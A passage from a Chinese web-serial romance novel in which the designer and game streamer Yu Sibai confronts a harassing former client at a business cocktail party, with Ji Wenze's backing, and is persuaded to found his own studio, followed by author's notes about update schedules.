那也挺神奇…… 郁思白心里碎碎念着,摸了摸鼻尖。 他早上起来的时候就换好了衣服——平时上班穿的平平无奇牛马西装。所以现在也不着急,还有空跟弹幕道别。 “对的,老板发消息要出门工作咯。剩下的解说……咳,晚上回来再给你们补上。” 说着,又没忍住咳了一下。 【你算了吧你……】 【嗓子真行?】 【可持续发展也行的】 【停播一个月了也不差这半天,你休息吧】 “没事放心,我有分寸。”郁思白说,“我又不喝酒,去吃顿饭而已,晚上肯定回来播。” 他有自己的考量。 tigerrr板上钉钉变成法制咖后,J站今早就给ICG透了风声,说今年还是有意向选Respit2当分区年度主播,并且还热情邀请他今年去到颁奖现场,接受不露脸。 要知道,前些年官方可是因为Respit2拒绝露脸去到颁奖现场,而直接卡掉了他两年奖项的。 虽说这种奖项拿多了也不稀罕,但不管怎么说,跟官方闹僵也不好,眼下对方退一步,郁思白当然也愿意下这个台阶。 至于不露脸的事他也想好了,拿纸盒子做个方块头,往脑袋上一套。嘿,别人还能有透视眼不成? 总之既然要拿这个奖了,总得拿出点拿奖的样子,多播一点,大家面子上都好看。 又跟弹幕草草聊了两句,郁思白关了直播,把西装外套挎在手臂上匆匆下楼。 来粤市时接他们的那辆车已经停在门口,郁思白原本以为只是叫了个司机来接他,哪知道一拉开车门,后座又刷新了一个野生季闻则。 季闻则坐在靠里的位置,空座都给他留出来了,郁思白也不扭捏,直接坐了进去。 “我还以为你在外面跑一天,要直接过去。”郁思白说。 “咱们先去吃点东西。”季闻则显然是工作还没有结束,头都没抬道,“酒会没什么吃的,先垫个五分饱。” “好哦。”郁思白没什么异议,自顾自玩起手机,原本是做好了玩一路的准备的,没想到车才开出去两百米,季闻则就把平板放到了一边。 郁思白看过去。 季闻则向后靠在头枕上,扯了扯嘴角:“不是很想干了。” 郁思白:? “这不是我的词么。”郁思白说。 季闻则懒懒笑了一下。 反正也不工作,郁思白索性也把手机一放,问:“我穿这个行吗?” 季闻则拎了拎自己如出一辙的西装白衬衫,想了一下又道:“等一下。” 然后抬手摘了自己衬衫上的袖扣递给他。 郁思白原本没准备接的,他问那么一句也只是随口,并不准备装扮什么,但…… 但那对袖扣上面,是漂亮的灰蓝色宝石诶。 郁思白接过之后端详了一会儿,忽然问:“新买的吗?” “旧的。”季闻则说。 “骗人。” 郁思白挑眉看他,扬起福尔摩斯小郁的笑容说:“你之前会刻意避开这个颜色的东西吧。” 季闻则侧头看了他半晌,失笑:“郁老师……” “郁老师满分。”郁思白说着,也大大方方地把袖扣戴上,“那就先借一下……不过你怎么办?” 季闻则理好袖口,笑道:“没人管我。” 郁思白的西装正好是带低饱和的深灰蓝,和袖扣很配,倒像原本就是他的东西了- 两人在外面随便吃了点后,不急不缓,比邀请函上的时间略迟一点到了酒会。 此时酒会气氛正酣,说是衣香鬓影完全不为过。 空气里,清甜的香槟味道和雪茄的焦香杂糅,连带着还有香水混合起来的气息,幸好宴会厅足够宽敞,才让味道显得不浓,恰到好处。 衣着正式的宾客们三三两两地聚着,低声交谈,因而也完全不让人觉得嘈杂。 “还习惯吗?”季闻则问。 “还好。”郁思白说,“我们毕业晚会也有类似的酒会……当然,没有酒,也比这个吵很多,所以我晃了一圈就走了。” 季闻则给他指了自助餐区和甜品台的方向,郁思白看了一眼就顿时了然,为什么他们要提前吃一点再来。 喝酒需要提前填点肚子是一方面,另一方面,自助餐区基本都是冷食,寿司之类,甜品台长得倒是好看,但实在是只有好看罢了。 迎宾区的侍应生送上托盘,上面放着香槟和空杯,季闻则取了一杯,拦了郁思白的爪子。 “去吧台拿饮料,香槟别喝了。”他说。 “哦。”郁思白把手背到身后。 说实在的,他真的有点想尝试,因为菜单上写的香槟度数很低——毕竟谁也不是冲着在酒会上灌醉合作方来的,单纯只为助个兴。 不过他也没强求。 季闻则说:“我去中间等你,有人搭话敷衍着走了就行,直接来找我。” 郁思白一弯眼睛,抬手比了个ok,灰蓝色的漂亮袖口闪亮亮地反着光。 两人在签到区分别。 酒会才刚刚开始,吧台处还门可罗雀,郁思白要了一杯鲜榨橙汁,坐在高脚凳上等待,目光习惯性环视四周。 总的来讲,只是很普通的酒会设计,甚至有些地方敷衍的很明显。 ……也不知道是哪个同行做的。粤市除了邓工以外还有卧龙凤雏? 郁思白在心里暗暗咋舌。 “是庭季的郁设计吗?” 忽然,一个声音从侧后方响起,郁思白回头,看见一个陌生的中年男人,样貌倒是儒雅。 对方脸上带着笑,但那个笑容却莫名让人不是很舒服。 郁思白皱了下眉的功夫,中年男人已经绕到了他面前,推开高脚凳,斜倚在吧台上,架势风流得很熟练。 “我公司最近有个小项目,不知道郁设计有没有兴趣呢?”他说。 谈到工作的事,郁思白短暂迟疑了一下,还是多给了一点耐心,礼貌道:“您说。” 庭季在粤市的名气肯定比不上本地企业,但面前的人能喊出自己,大约也是做过功课,或许真的欣赏一组也有可能。 对方笑容更深,开口说起自己的项目,可越说,郁思白脸上的表情就越冷淡。 就是个普通的商业活……甚至连普通都算不上,因为对方讲得颠三倒四,很显然,只是拿“项目”当一个搭讪手段而已。 做了场馆项目之后,他明显有了一种“我本可以忍受黑暗,如果我不曾见过光明”的不知足感。 以前听到这种项目至少能面不改色,现在已经是完全听不下去了。 “先生,您的橙汁。” 调酒师将玻璃杯推到郁思白手边,郁思白握住橙汁,耐心告罄。 “抱歉,我个人对这个项目没有意向。”说罢,他起身要走。 身前却忽然横过来一条手臂,笑着的儒雅中年人道。 “郁设计,你忘记我了?” 郁思白脚步停下,拧眉疑惑看他。 对方呵呵两声,道:“两年前,钱总带你和我们吃过饭。呵,你年轻,是有点脾气,但那个项目我最后还是给你了,是不是?” 郁思白的记忆随着他的描述渐渐浮现,再看过去,他才发现这人确实有一点眼熟。 赫然是钱远新带他应酬那次的老板,姓王。 而那个项目,根本不是什么“给了他”,而是压着价格,强行“塞给他”,塞完还要三番五次面谈,乱七八糟扯一堆冒犯的话,武天骄就是这会儿被郁思白捞回一组的。 郁思白简直想到就要皱眉的程度。 面前的王总仍然喋喋不休:“我真的很喜欢你的设计,从看到你的第一眼开始,我就知道你的设计一定很符合我的审美。我以前说过的吧,你忘了吗?” 他儒雅地笑,只是那皮囊的笑容和内里令人厌烦的骨骼格格不入。 王总朝他举杯:“郁组长,走一个?以后有项目,我肯定第一个考虑你。” 郁思白冷淡道:“我以为王总不敢让我碰酒。” 毕竟上次被骂了个狗血淋头的,也有这位的一份。 m? 王总嘴角咧开得更大,低声道:“可这里是公共场合啊,郁设计,你敢吗?” 郁思白眼皮跳了一下。 实话说,他特别想把手里的橙汁泼上去,但还是忍了下来。 自从去年在钱远新面前硬气起来,到现在季闻则接手庭季,一切都顺风顺水,他没怎么接洽过大老板,也自然挺久没有忍过了。 如果在公司里,他肯定想都不想就是一杯子,但现在总归是公共场合,总不好给季闻则添麻烦。 算了,碰一下走人。郁思白想。 就当是提前适应季闻则升迁以后的日子吧。 于是他像两年前一样垂下眼睛,举杯。 哗啦! 下一秒,金黄的酒液把对方淋了个兜头。 郁思白怔了一下,先看了眼自己好好端在手里的杯子,旋即猛地回头。 背后蔓延开一片干燥的暖意,季闻则抬手轻轻按住他的后背,手里倒举着一只空的香槟杯,眉眼含笑。 “不好意思王总,手滑。”他说。 王总原本正要发火,可看见他的瞬间,脸上神色变换。 他对上钱远新,尚且能勉强平起平坐,但面前这位,据说已经板上钉钉是庭季集团下任董事长,他哪敢…… 王总终于也露出忍耐的表情,然后勉强露出一个笑说:“没事,没事。” 季闻则抬手从路过的侍应生托盘上拿了张卫生纸递给王总,笑问:“王总刚刚说,以后有项目,第一时间考虑我们郁组长?” “对——”王总双手接过卫生纸,心里一喜。难道他今晚能和小季总攀上关系? 季闻则侧头垂眸,看了眼郁思白,轻笑说。 “郁组长,告诉他。庭季和你都看不上他的项目。” 郁思白呼出一口气来。 背后的掌心温热,隔着衬衫贴着他的肩胛骨,轻轻掸了一下,像帮鸟儿梳理羽毛,鼓励他一跃而起—— 作者有话说:回收文案倒计时[猫爪] 明天还是中午12点二更。 第50章 王总霎时间僵住, 只觉得全场都看着自己,目光里尽是嘲笑一样。 郁思白感受到后背掌心轻微的力度,脑海里忽然闪过一个无关的念头。 季闻则是火炉吗。 季火炉见他不说话, 侧头看他,微弯下腰似乎要低声说什么。 郁思白抬手打断, 把无关念头都甩到后面, 开口语气仍然很淡。 “王总,你这个项目不符合我们组的规划,也和庭季的理念相悖。合作就算了吧。” 他的话比季闻则软了很多,此刻竟然给了王总一种劫后余生的感觉。 他用纸擦着脸,脸上不知道是汗还是酒:“好的,好的, 谢谢郁组长……那就算了。” 说完后,他转身就要赶紧离开这个是非之地, 面前却冷不丁拦了一只手。 王总只觉得这场面格外眼熟, 很快他就想到,这不就是自己刚刚拦郁设计的动作吗。 再顺着那条胳膊往上看——王总脸上本就僵硬的笑容, 此刻更是要碎了一般。 季闻则抬手虚虚拦了他,眼底带笑地问:“王总是不是忘了什么?” 王总被这一句话问懵。 郁思白也带了点疑惑看向季闻则。 季闻则微微挑眉,轻呵了声,故作惊讶道:“是我想多了么?王总刚刚说的话, 只是欣赏我们设计师的作品?” 王总脸色刷地白了。 他那话什么意思, 他自己心里能不清楚么。他向来就是这种嘴上没有控制的人, 但他从不动手,所以也从没被这么直白地指出来过。 季闻则这话听起来是给他一个台阶下,但王总心里门儿清,要是自己真下去了, 恐怕反而会一脚踩空,直接从万丈悬崖跌下去。 他吸了口气,下意识左右环顾,却看见有穿着华丽的女士对着这边抬手,嫌恶地遮住半张脸,西装革履的体面男士们也都似笑非笑地窥着。 王总抖了抖嘴唇,在季闻则含笑的目光注视下,终于开始连连弯腰:“对不起郁老师……对不起啊。是、是我说话不过脑子,对您不尊重了,我该向您道歉……” 郁思白眉头皱起一个浅浅的痕迹,他下意识后退了小半步,却和背后那只手贴得更紧,连带着,甚至直接靠上了季闻则的胳膊。 他出门前含了块喉宝,一路上嗓子也都还算舒服,可现在却莫名又有点疼起来,让他一时间说不出话。 或者说,原本就是他不知道该怎么说话。 郁思白抿了抿唇,心里下意识开始思考,如果是杨孟越的话现在会说什么,如果是薛简的话现在又会说什么,甚至,如果是季闻则的话…… 这些在社交场上长袖善舞的人,会说什么呢? 大度地说声没关系,然后借此达成一个对己方十分有利的合作? “如果是我,我会点一下头就离开。”季闻则的声音忽然在耳边响起,耳语的声音,就好像是知道他此刻在想什么似的。 心里摇晃不止的摆锤终于落下,一锤定音。 郁思白吸了口气,微抬起下巴,淡淡垂眸看着面前的中年人说。 “嗯。” 王总抬头,就看见这道冷淡的、睥着自己的目光。 他想起自己两年前第一次见到这个小设计师,一眼就知道钱远新为什么把人往饭局上带,哪怕是说话不好听,这样一张含霜的漂亮脸蛋,也实在是让人见了就喜欢。 那道目光陡然变得更冷,一双眼睛像在他身上落了两倍的压力,刺得他顿时抖了一下,慌忙收回视线。 现在,他连看都不敢再看一眼。 王总弯着腰离开了,最后也没在酒会上再呆多久。吧台虽然只是个清净的角落,围观人群也不是很多,但一传十十传百,庭季的小季总和其母季董是一脉相承温和,能惹得他兜头泼人,可见这王总做事儿有多不检点了。 季闻则和郁思白在吧台落座,周围宾客轻声交谈的声音隐约传过来,听得季闻则唇角微勾。 “听到了吗,这就是口碑。”他忍笑道。 郁思白才从“给讨厌的前合作方甩脸色”的舒爽感里抽离,闻言神情复杂地看他。 “这是什么眼神。”季闻则单手支着头,莞尔,“我不温和?” “……乍一看上去还是比较像那么回事。”郁思白中肯道,又忍不住问,“不都说这些都是人精吗,怎么看人还只看表象呢?” 季闻则耸肩:“在这种场合相处,就是维持表象而已,大家心照不宣的,一般也不会在这种地方冷脸。” “那你……” “所以这个王总不是一般人。”季闻则笑得狡黠,笑过后又问,“感觉怎么样?” 郁思白抿了口橙汁,闻言顿了一下:“什么?” “对别人老板横眉冷对的感觉,怎么样?” 季闻则目光带着好奇看过来,郁思白迎上他的视线,却说:“又在拐弯抹角了,你想问的不是这个吧。” 季闻则眨了下眼,忽然轻笑出声。 “好吧,那有人撑腰的感觉怎么样?郁组长。”说罢他又失笑,移开视线说,“这样显得我在邀功啊。” “为什么不呢?”郁思白说。 然后一道清脆的酒杯相碰声响起,他推着自己的橙汁,歪着脑袋轻轻撞了一下季闻则那只空了的香槟杯。 “谢谢你帮我出气。” 季闻则看了眼杯子,问:“今天是我正好在这儿,下次如果我不在怎么办?” 郁思白喝了口橙汁:“唔,转身就走呗。不理就行了……” 季闻则伸手轻轻弹了弹他的玻璃杯,把他漫无目的的目光吸引到指尖,然后收回手,随意地抵住下颌,轻笑道。 “不对。” 郁思白的目光跟着他的指尖,兜兜转转落到那张噙着笑的脸上,疑惑歪头。 季闻则说:“我不在,你也可以打着我的名头给自己出气。” 郁思白顿了一下,扯了扯嘴角:“季老板给我这么大权利,不怕我仗势欺人?” “你要是仗势欺人,人家骂的也是我不是你,你犹豫什么?” 他挑了下眉,目光似乎要穿过他的眼睛直达心底,郁思白下意识避开视线,去喝橙汁。 清甜的味道在舌尖弥漫开,安抚了他凌乱的思绪。 “算了吧……” 郁思白说着,习惯性去寻找吸管,牙齿却磕了一下玻璃杯缘,那是一种不太令人舒适的撞击感,让他不免有点牙根发酸。 放下橙汁,郁思白抿了抿唇说:“呃,你应该不知道,之前钱远新带我出去吃饭喝了酒……” “我知道。”季闻则说,“钱远新把你丢在门口淋雨的事?” 郁思白别开脑袋,笑容尴尬:“对,但……我觉得吧,虽然感情上没法接受,但理智上其实也可以理解。” 他顿了顿说:“毕竟我喝了酒之后,站在凳子上把他们全部骂了一圈……包括刚刚那个王总。” 说完,他没有扭头,只是用眼神去偷偷瞥了一眼季闻则的方向,男人的表情带了一点点惊诧。 郁思白笑了一下:“我很厉害的,所以‘打着你的名头’之类的权利,还是不要给我的好。” “而且我脾气真的不好。你也知道,我平时在公司能不说话就不说话——因为怕一开口,路过的狗都要被我骂一句,你也不是没挨过。” 季闻则若有所思。 如果不是在大厅里,郁思白觉得自己说完这话后,应该语重心长地再拍一拍季闻则的肩膀,告诉他你真是识人不清。 郁思白又端起橙汁送到嘴边,刚喝了半口,就听见季闻则说。 “那你有没有想过,从他们身上找问题呢?” 郁思白猛地呛了一下,没泼到王总脸上的橙汁,差一点就要浇在季闻则身上了。 他茫然抬头,季闻则还是单手撑着下巴,笑眯眯地看他,不急不缓道。 “其实我之前就一直在想,你直……职场之外的时候,明明很会和人交往,这对你来说并不是负担,为什么在工作里会养成这样的性子。” “那个和工作不一样吧。”郁思白说。 “大差不差?”季闻则摇头,见调酒师走远,才道,“直播也是工作,有太多太多主播暴雷、翻车,这行对情商的要求只会更高。” “明明你直播的时候就是与人为善,职业圈的人也都说你性格好,好相处,为什么到了现实的工作就不一样了呢?” 郁思白想了一下,反驳:“因为网上和现实是两码事。” “因为直播只需要和观众打好关系就行,而观众喜欢听我解说、看我打游戏,我好好做这些,直播就能顺风顺水地进行下去。” “做设计不是吗?”季闻则问。 “当然不是。”郁思白毫不犹豫。 “就像你能去跟克里夫谈下优先权、谈下那么高的价格,如果让我去,我说不定会一言不合把人得罪了,就像以前跟钱远新出去,指着所有人鼻子一通骂一样……弄成那样,还合作什么?” 说着说着,他把自己都说笑了,抬手扶额。 手背忽然被不轻不重地弹了一下,季闻则把他从掌心拢成的鸵鸟窝里叫醒,慢慢说。 “你觉得有没有一种可能,你骂他们的话,在网上是可以由别人代替你说的?” 郁思白抬头。 季闻则道:“蒲璞在领奖台上会给所有人讲述你的贡献、你的重要性。粉丝会一遍遍对你表达毫不遮掩的喜欢。甚至梁路这个小孩,也可以为了你,不怕被黑子追着骂也要跟你双排……” “因为有人给你撑腰,所以不用那么尖锐也可以保护自己……你觉得呢?” 郁思白的思维定式被冲击得晕晕乎乎,下意识拧眉摇头:“那怎么能一样。” “就说钱远新那事吧。退一万步讲,你之所以会骂他们,是因为他们逼你喝了酒吧。对不对?”季闻则循循善诱。 郁思白:“呃……也对,但是……” “你不喝酒的时候,对外人还是很温良的。”季闻则一锤定音。 郁思白觉得不是很对,试图道:“我觉得你是不是对我有什么滤镜……” 可季闻则始终坦坦荡荡地看着他,那双含笑的眼睛格外认真,目光仿佛天生就带着令人信服的力量。 “但邓工让人偷图的事儿,你都只是在上台前放了一句不那么狠的狠话。怎么能说不温良?”他说,“你之前还说要学Execut2,这就是你的学习成果?” 这种被原版指出临摹得一点都不像的感觉,让郁思白脸上有点臊红,他咬了咬牙,颇有点恼羞成怒的意思。 “那按你这个正版的意思说,怎么才算学有所成?” 季闻则温和笑着,开口却是:“多少得给一巴掌吧。” 郁思白顿时大惊。 他不由得心道,卡神也没有这么暴力过啊,难道约束他的一直是“打人会禁赛”的职业红线吗。 这…… 他下意识扫了一眼此人现在西装也遮不住的好身材,平时显然不会疏于锻炼,搭在杯壁的那只手虽没有使力,但现在,怎么看都蕴藏着能轻松捏碎玻璃杯的力气似的。 郁思白轻咳一声移开视线。 “这,这就不用了吧。最多骂两句让他道歉,事后再追究责任就行了……”他看向别处说着,震惊之下,嘴巴不免有点磕绊。 但季闻则没放过他,仍旧用手背托着下巴,看着他问:“既然这么想了,那你当时又为什么没骂呢?” 郁思白被他问的一愣,才反应过来,这人在跟他玩破窗效应那出。 眼底惊诧渐渐褪去,郁思白想了想才说。 “因为反正他要被法律制裁的,骂他一句也只能我自己出个气,还容易节外生枝,没必要。” 哪知季闻则眼底笑意更浓,乐得举起空的香槟杯和他相碰。 “你看,我都说了你很温良。” 郁思白先是一懵,旋即张嘴半天没说出来话。 无言以对,彻底没辙了。 明明两个人面对面坐着,他却有一种拳头伸不进屏幕的无力感。 季闻则真是个睡美人,而他怎么也叫不醒这个装睡的人。 可惜郁思白不算博览群书,也并未涉猎甚广,否则他将有能力用一个精准的词来概括现在的感觉——好像被嬷了。 他只能重重叹了口气,用一种看傻子的目光看向季闻则,开口:“你要这么想,我也没办法。” “很直。”季闻则看向他的目光忽然很有层次,失笑摇头后随口评价了一句,然后说,“言归正传。” “总之这个‘打我名号’的权利我给你用,当然了,用不用还是看你自己——只不过,如果你要留在沪市的话,我觉得你应该还是会需要的。” 郁思白没有摇头。 谁也说不准,在季闻则走后要接手职务的,是不是下一个钱远新。至少到那时候,他还能说自己和总部的季总……又或者已经是季董的大帅哥,有一段香火情。 郁思白没法反驳这点,于是下意识顺着问了一句:“那如果我去京市呢?” 闻言。季闻则忽然唇角笑意更深,笑容里带了些许得逞的狡黠,和一身规规矩矩的西装生出反差来。 他铺垫了这么多,仿佛就在等这一句话似的。 “回京市的话,你更可以用了。”他说。 郁思白:……? 他眼神一转,试探:“你不会是让我去谈项目吧。” 季闻则道:“如果是普通的商务专员,毕竟还是容易出现一些沟通问题,比如表达不出设计师的完整意图等等……” 季闻则说着,对上郁思白看过来的目光,顿时了然笑道。 “别看我,我又不一样。”他说,“你那份资料如果换别的人来学,恐怕学不来我这个效果。” “……那倒是。”郁思白不由得咋舌,“我要是能随便教出个Execut2,早就成职业圈被高薪争抢的冠军教练了。” “但你现在可以成为被高薪争抢的设计师。”季闻则冲他眨眼。 “听我说。你们独立出来,庭季注资不参与管理,两个加起来,有实力有背景,这个事儿其实没你想的那么难。” “你不是没有社交能力,相反,你的社交能力很强。否则你没法在只和蒲璞认识的情况下,和ICG所有人都那么相熟,也没法被薛简认可当成好友,更不可能一个人初来乍到,就一手组建起整个一组……” “你很清楚什么是恰到好处、点到即止,清楚得饶人处且饶人,也清楚不要把自己的姿态放的太低。” “我觉得,你明明就有独当一面的能力,为什么不试试呢?” 季闻则的声音并不激昂,他几乎是娓娓道来地说着,可话音落后,却簌簌掉下明明暗暗的火星,无声坠进郁思白心里那片干枯的草场。 一簇火苗窜了起来,却又被无意识加深的呼吸吹灭。 郁思白皱着眉头,目光没有焦点地落在剩了小半杯的橙汁上,半晌没有回应。 直到季闻则轻啧了一声,叹道。 “钱远新真是作恶多端啊。” 末了,他又轻笑。 “你设计院的领导没有这样带你,钱远新也没有这样带你……倒是叫我捡了这个漏。”季闻则说,“来得早不如来得巧。” 他伸手过来,把掌心放到郁思白头顶,微微用力,带着他的头转过来看着自己,然后收手,动作介于礼节和亲昵之间,足够克制又显得不会太显眼。 于是那双眼睛,就带着茫然和困惑,在眼底盛满了自己。 “你很厉害的,郁组长。首先我们明确这一点。”季闻则缓缓说。 “所以哪怕是去谈项目,你也不用特意对谁去赔笑脸。想笑就笑,生气就冷脸,五官长在脸上就是为了表达情绪,就和平日里我们相处一样,你不需要顾虑太多。” “以前钱远新可能跟你说了什么,但那是他的职场潜规则,不是你的,你无需遵守……啧。” 面前的人又渐渐变成一副放空了的表情,季闻则应该气的,但因为是郁思白顶着这样的表情,于是他只觉得想笑。 这家伙刚被掰过来不久的目光,又下意识移开了,季闻则索性伸手拿走那杯总会获得他青睐的橙汁。 郁思白又看他的空香槟杯,季闻则没收。 斜放着薄荷叶的托盘,没收。 调酒师一扭头的时候,吧台上已经空荡荡了。 郁思白又要去看调酒师—— 笃、笃。 季闻则屈指,不轻不重地在吧台上敲了两下。 “郁思白?看着我。” 无法让人违抗的语气。 “等等……”郁思白只能低低举了一下双手,抿唇道,“你的饼越画越大了,季老板,我们可以稍微务实一点,也不要把我夸得这么、夸张。” 这是饼,这是画出来的饼。 郁思白不断地加深呼吸,在心里告诉自己。 他不断地移开视线,可耳朵却仍然会被季闻则的声音吸引。 他努力平静下来,可还是会被他的话勾得心跳骤急。 季闻则这个饼画的太大了。 京市,独立工作室,独立管辖权。 可以抛开一切社交潜规则,可以掌握选择的权利,可以随时同意和拒绝。 …… 郁思白垂着眼睛,心里情绪复杂。 这太夸张了,即使说出来的是季闻则,他也不敢立刻就相信—— “只要我一天没从庭季的董事会离职,给你的权利就一天有效,你相信我吗?”季闻则顿了一下。 “如果,我是Execut2的话。” 郁思白陡然抬头。 轰—— 吹不灭的火星,在这一刻引燃了心头那片枯草,加重加深的呼吸成了助长火势的风,瞬间变成满眼的燎原之势,平静跳动了多年的一颗心,被烧灼得滚烫。 野心并着养料,火舌吞天。 季闻则看到这双眼睛里,扬起笑容的自己。 “所以。” 郁思白开口,却一时间没能听到自己的声音,抿唇咽了一下,才又说。 “所以你是因为这个……才故意露出马脚,让我去猜?” 季闻则看着他,眼底仿佛也被他勾出野性来。他虽然笑着,可一双眼睛,仍然像极了十年前那个看到冠军奖杯的少年,目光里的欣赏和渴求,再也无法更加直白。 “也不只是这样,你过生日,总要给你准备些礼物。”他说,“但没想到你有点太敏锐了……总之,导致这个礼物并没有让你很惊喜,是我的失误。” “——好了。” 季闻则忽然收了视线,吸了口气,呼出来时,带出更温和的笑。 他从高脚凳上起身,郁思白下意识仰头看他,季闻则顿了一下,抬手遮住他的眼睛,轻笑的声音传来。 “别看我了,大设计师。”他说。 “希望我刚刚的话,没有给你一种逼你去做的错觉。虽然你很难找到我这样的商务专员,但我也不介意在郁老师的工作室,兼任一份工作,当然,郁老师需要负担我的工资——” “我想试试。”郁思白抓住季闻则遮住自己眼睛的手,用坚定的力道拉下来,灯火重新映亮他的眼睛。 “我可以试试。” “好。”季闻则毫不犹豫,“我保证,你绝不会后悔。” 郁思白仰头喝掉了最后一点橙汁,起身,伸手理平自己的衬衫袖口,然后跟着季闻则身旁,走向人群中央。 一道道目光落在他们身上,落在他身上。平淡、好奇、欣赏…… “知道钱远新为什么从来都不带你来这类场合吗?”忽然,季闻则问。 郁思白抬手,屈指抵了一下镜框:“你这么问,那应该就不是怕我喝酒骂人了。” 季闻则失笑。 “确实不是。” 从笼中走出去的鸟,会知道它的翅膀不仅华丽,还可以用来飞行,并且能飞得很高、很远。 足以冲破层云,跨越山川。 “因为他知道,带你来了之后,他就再也拿捏不住你了。” 而我也是—— 作者有话说:[猫爪] 抱歉说好的二更没更出来[爆哭]上午写到一半突然莫名其妙焦虑症大爆发,心悸手抖一直在吐,努力很久还是被打败了orz但没关系现在已经杀回来了。明天也暂时先不承诺二更了,如果有的话,我写完随时发! 但不管怎么说,每天晚上的更新是不会断的,我要拿到全勤! 毕竟是承诺了但是没更出来,这章掉落50个请假歉意小红包吧[可怜] 50-60 第51章 郁思白从来没有在现实里, 一晚上说过这么多话。 都赶得上他直播了。 但其实算下来,他也只是和三个人聊了而已。不过聊得都很愉快,似乎就像季闻则说的, 没那么难。 虽说不是所有人都上来就和他沟通项目的事,但在聊天里也彼此交换了信息和联系方式。 郁思白举着橙汁想, 自己是不是该弄一个专门的工作微信了。 “对哪个最有兴趣?”季闻则问。 郁思白想了一下:“all in。” 季闻则:“你真当自己是铁人?” “也还好吧。”郁思白说着, 目光认真,一点没有玩笑的意思,“和我刚来庭季那年工作量差不多?而且项目都不错,做着肯定更轻松……” 季闻则失笑:“我是要带你回京市,不是去缅/北。” 他见郁思白还想说话,先一步开口打断:“如果只选一个呢?” 郁思白抬手摸了摸下巴, 迟疑好一会儿才说。 “选一个,最有兴趣的话……那位编导吧。” “综艺节目?”季闻则点头, “确实很合适作为工作室成立的首秀项目……” 郁思白看着他, 嘴角动了动,不好意思道:“虽然你这么说显得我很聪明, 很有商业天赋……但我必须勇敢承认,不是因为这个。” 季闻则领着他往卡座区走,闻言侧头,目光流露出好奇。 编导是第一个和他们交谈的人, 是一位穿着随意的、四十岁左右的女士。据季闻则介绍, 是家境不差的大小姐, 但没有接手家族产业,而是自己出来做了编导。 但郁思白对这个人更熟悉的身份是——她是知名节目《造梦设计师》的总导演。 这个节目是她从二十多岁就在做的,迄今为止已经做到第七期,大约两三年一期的更新速度。 可以说, 这个节目贯穿了郁思白的大半生,对室内设计的兴趣启蒙、引导,全都来自于这档节目。 小时候郁思白还有过登上节目的梦想,但在忙碌的学习里,在繁琐的职场生活中,不知什么时候就被渐渐忘了。 但他刚刚加到了编导的微信! 郁思白眼睛亮亮的。 “我以前玩游戏就很喜欢玩房产达人那类的,就是去打扫房子,修改格局,再卖出去之类的……” “不过你要做好赚不到什么钱的准备。”季闻则提醒。 “这个我知道。我也不追求什么大项目,小的家居项目做起来也很有成就感啊。家居也是和人的一种链接……”郁思白点头说。 “当然了,最后接什么、怎么接,肯定还是要和大家商量,毕竟活也是大家一起做。” 旋即他顿了一下,声音小了一点,偷声说。 “但这个项目不一样,哪怕只有我一个人觉得合适,我也要一个人去做做看。” 头顶又被轻轻拍了拍,季闻则收回手笑:“你看,我就说你能做得很好。” 郁思白抬了抬下巴,目光一转,又说:“可是难道我以后还要带一个专门帮忙挡酒的助理吗?” 说着,他看了眼“季助理”。 刚刚他举着一杯香槟和每个人碰杯,说过一句“抱歉,一杯就倒”之后,喝酒的事就直接由季闻则代劳了,他上前的动作格外及时,又带着淡淡的笑,仿佛真的是一个尽职尽责的助理。 “不用担心这个。”季闻则道,“我只是代表自己喝这一杯。因为和他们见面了,所以象征性喝一口,仅此而已。” “真的?”郁思白将信将疑。 季闻则笑:“你不信我,总该信E……唔。” 他的嘴被郁思白捂了一下,青年轻咳一声说:“一个伎俩用一次就好了,好吗?” 掌心下的眼睛弯了起来,季闻则点头,终于重获讲话自由。 “我喝这一杯酒不会给你们的沟通带来推动作用,他们跟你聊,也不是因为我们喝了这口酒。” 季闻则:“说白了这种事情也就是双向筛选。你直白告诉对方,抱歉我喝不了酒。如果对方冲着你的才华来,当然不会在意这个细节,反之,早点筛选掉也好。” “毕竟你也不缺这一个两个项目,不是吗?” “……也对。”郁思白被他说服,愣了愣问,“那你呢?” “我什么?” “你为什么喝酒。”郁思白道,“我是说,一开始为什么会喝酒。” 你不是庭季的太子爷吗? 季闻则垂眸,温和的眉眼耷下来:“因为我是没人撑腰的小白菜……” 他说到一半,突然意识到郁思白的表情不太对,怔了一秒,立刻敛了故作可怜的神情。 “开玩笑的。”他扬起安抚的笑容,连忙道,“是因为我能喝,所以没必要推辞。” 郁思白眨了下眼睛。 男人脸上笑容很轻松,但他心头却像被重物压了一下,不痛,但漫起细细密密的酸来。 想也知道,这句才是开玩笑的。郁思白想。 他说我不缺这一两个项目……恐怕他开始喝酒,就是因为他真的没有选择吧。 就像对上钱远新的自己? 郁思白抿了下唇,忽然不知道该说些什么。 毕竟他也不是能随便把白菜挖进自己地里的大地主,他自己还是颗比季白菜还小颗的白菜帮子。 ……可恶,想吃白菜炖土豆了。 总想太过沉重的东西会让生活变得不幸,郁思白的思绪便晃晃悠悠地荡开。 很快就从白菜炖土豆,想到土豆地雷,进而想到游戏里拥有类似技能的英雄,最后开始琢磨晚上的直播。 有人端着酒杯朝他们走来,季闻则远远看了一眼:“是找我的。” 他侧头微微向郁思白的方向靠了一些,低声问:“你是自己逛逛,还是跟我一起去坐着休息,吃点东西?” “吃点吧。”郁思白说。 “那跟我一起。”季闻则笑了笑说,“放心,都不是坏人。可能有一两个不成事儿的,别理就行。” 郁思白点头。 “季哥——好久不见啊。”端着酒杯的青年上前。 他一身设计感很强的改良中山装,带着圆框眼镜,整个人着装风格很是统一,显得儒雅,但他本人的气质却显得有些过于时尚了…… 比如他的一头金属感银发。 这怎么做出来的? 郁思白目光在他头顶多停顿了一秒,很快收回,以免显得不礼貌。 殊不知,他收回视线之后,那个青年却毫不客气地看向他,眼底的好奇怎么都藏不住。 季闻则举了举香槟杯,对方立刻意识到自己的冒昧,举高自己的杯子就仰头干了。 “抱歉抱歉,季哥,我的问题。”他不好意思道,“你也知道,我这人一看到好看的人就控制不住……这位是?” “我的设计部组长,清大毕业,庭季王牌。姓郁,郁思白。”季闻则说,“郁组长,这位是新氧设计的杜文鸢。” 郁思白点头,只需要礼貌伸手,说一句:“你好。” 杜文鸢扬起笑容,一头金属毛反着光,格外显眼,他伸手和郁思白握了一下:“你好呀郁组长,我也是组长,兼任总监,总经理。” 郁思白:? 季闻则简单解释:“草台班子。” 郁思白:“喔,刚开始创业。” “你看看,你看看!人家多会说话!”杜文鸢一只手还没松开,另一只手就已经一起握了上来,双手捧着郁思白的爪子,重重甩了两下。 